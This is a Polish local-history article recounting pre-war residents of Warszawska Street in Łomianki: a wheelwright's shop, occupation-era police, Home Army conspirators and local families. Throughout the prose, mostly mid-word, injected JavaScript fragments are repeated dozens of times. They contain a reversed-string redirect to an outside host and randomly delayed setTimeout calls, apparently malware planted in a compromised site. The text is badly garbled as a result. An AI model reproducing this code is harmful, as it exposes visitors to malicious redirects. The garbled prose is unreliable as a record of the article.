Przedwojenni mieszkańcy #5

Przedstawiamy kolejny odcinek opowieści pana Jerzego Regulskiego o przedwojennych mieszkańcach ul. Warszawskiej. Ale najpierw małe sprostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie. W treść poprzedniego odcinka wkradło się kilka błędów. Sprostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie, które otrzymaliśmy od potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomków rodziny Kozdrojów (serdecznie dziękujemy), zamieszczamy w poprzednim odcinku.

Redakcja

Obok zakładu fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tograficznego pana Remigiusza Bierzanka (Warszawska 168) stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi murowany budynek pana Stanisława Jabłońskiego zbutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowany przed 1939 r. Pan Jabłoński prowadził zakład kołodziejski, w którym świadczył usługi dla rolników, mieszkańców Łomianek i okolicznych wiosek. Do szczytu budynku przylegała zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowa drewniana. Państwo Jabłońscy mieli dwie córki, Stanisławę, która wyszła za mąż za Alekstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra Radzikowskiego, właściciela warsztatu mechaniczno-samochotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowego, i Genowefę, zamężną z Eugeniuszem Nasierowskim – fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tografem.

Jabłoński był kołodziejem, szkolił młodych chłopaków i przyuczał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zawodu, aby uzyskali uprawnienia czeladnicze. Trzeba pamiętać, że w owym czasie podstawowym pojazdem był drewniany wóz konny, dlatego pracy było dużo, bo okucia wykonywał jedynie kowal. Z pracowników pana Jabłońskiego pamiętam Stanisława Majchera, Henryka Sachogłuchowicza, Bronisława Burzyńskigo (obaj z Kazunia Polskiego), Szczepana Wójcickiego i Mariana Zielskiego (obaj z Cybulic). Przyuczenie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zawodu trwało 3 lata. Uczeń nie otrzymywał żadnego wynagrodzenia, jednak właściciel zapewniał pełne utrzymanie. Praca zaczynała się o 7.00 i kończyła o 19.00. Żona pana Jabłońskiego dawała młodym chłopcom pieniądze, gdy chcieli iść na zabawę. Jak szedł z dziewczyną, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawał srebrne 5 zł, jak sam – 2 zł. Młodzi ludzie pracowali w warsztacie po podpisaniu umowy pomiędzy rodzicami i panem Jabłońskim. Za wykształcenie płacili określoną kwotę.

Budynek Stanisława Jabłońskiego był usytuowany w ścisłym centrum Łomianek. Dzięki temu położeniu częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bywało w nim wielu ludzi. Atmosferę tworzył wielki blaszany piec, który szczególnie zimą ogrzewał wszystkich odwiedzających. Opalany był wiórami i odpadami drewnianymi z produkcji. Częstymi gośćmi byli Stanisław i Ludwig Leszczyński oraz Stanisław Bogdański.

W budynku tym od frontu, czyli od ulicy Warszawskiej, były pomieszczenia Policji Granatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej, a w podwórku areszt. W czasie okupacji w tym budynku znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowała się także siedziba Policji, która w tych czasach była na usługach okupanta. Pomi-mo tego w jej szeregach działali zakonspirowani żołnierze AK Grupy Kampinos. Byli toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Edward Przybylski ps. „Edek”, Roman Pierzchalski i Józef Zarczyński ps. „Granat”. Policjanci ci, pełniąc służbę, przekazywali podziemiu informacje o tym, co się dzieje w Łomiankach. Uprzedzali o najbliższych łapankach lub planowanych aresztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaniach miejscowej ludności. Dzięki nim podziemne władze łomiankowsko-młocińskiej konspiracji, a zwłaszcza kapitan Józef Krzyczkowski „Szymon”, na bieżąco wiedzieli o działaniach wroga.

Niestety w szeregach Policji znajtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowały się również osoby, które bezwzględnie wykonywały swoją pracę. Należał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do nich pan Kozłowicz, który zabierał żywność warszawiakom, którzy przechodzili przez „wachę”, czyli granicę Generalnej Guberni, aby zaopatrzyć się w żywność. Tropił nielegalny ubój (wtedy żywność była na kartki). Robił toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystko, pomimo że był Polakiem. Po wojnie został zastrzelony.

Sąsiadem kołodzieja Jabłońskiego był Władysław Oliszewski, który prowadził gospodarstwo rolno-warzywne. Miał cztery córki i dwóch synów, Henryka i Władysława. Henryk zaraz po wrześniu 1939 r. znalazł się na zachodzie, gdzie walczył w siłach Aliantów. Po zakończeniu wojny osiadł w Anglii, niestety zmarł w 2005 r. Władysław walczył w obronie Warszawy, został ranny, trafił toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do szpitala Dzieciątka Jezus na ul. Lindleya. W trakcie walk pocisk artyleryjski trafił w szpital i Władysław Oliszewski zginął na miejscu. Córki wyszły za mąż i mieszkały przez wiele lat w Łomiankach. Do dnia dzisiejszego żyje Irena po mężu Sajdak. Wspaniała postać, wraz z mężem włączyła się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do walki konspiracyjnej Armii Krajowej „Grupy Kampinos”, uczestniczyła w powstaniu warszawskim. Natoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomiast ojciec był aktywnym społecznikiem, jeszcze w latach 1935-1936 w wyniku tzw. komasacji gruntów zgodził się na przebutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowę i zamianę. Zasiedlił teren naprzeciwko kościoła pomiędzy ulicami Warszawską i Gościńcową. Córka Irena wraz z mężem, fachowcem od melioracji, pobutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowała się w roku 1948.

W sąsiedztwie Oliszewskiego stał budynek dwuizbowy usytuowany szczytem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ul. Warszawskiej, zamieszkiwany przez Władysława Żmudzkiego, który pracował jako mechanik – palacz w młynie Blocka. Obsługiwał on maszynę parową, która uruchamiała maszyny młyńskie. W okresie okupacji mieściła się tam też kawiarnia. Budynek przetrwał lata okupacji i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do roku 2000 był zamieszkiwany przez rodzinę Zygmunta Felicjańskiego. Budynek został rozebrany. W tym miejscu jest obecnie cukiernia Tiramisu. Należy nadmienić, że jako żarliwy patriota Zygmunt Felicjański był uczestnikiem wojny obronnej 1939 r., a w czasie okupacji działał w konspiracji – AK „Grupy Kampinos”.

Na placu od granicy dawnej „miedzy” stała kuźnia kowalska, którą prowadził Antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toni Szymański, syn Władysława. Obok szczytem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ul. Warszawskiej stał budynek pana Półtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toraka, z zawodu robotnika. W budynku tym również mieszkał wraz z rodziną szewc Franciszek Dąbrowski, który wykonywał buty dla kupców żytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowskich. Kupcy powierzali mu materiał i płacili tylko za robociznę. Dziś na tym placu stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toi budynek pana Hieronima Królaka. Zamieszkuje tam toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do dziś jego żona Maria, a przed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domem usytuowany jest kiosk „Ruchu”. Mąż pani Marii również należał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do konspiracji.

przedwojenni-mieszkancy.jpg

 

przedwojenni-mieszkancy-2.jpg

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *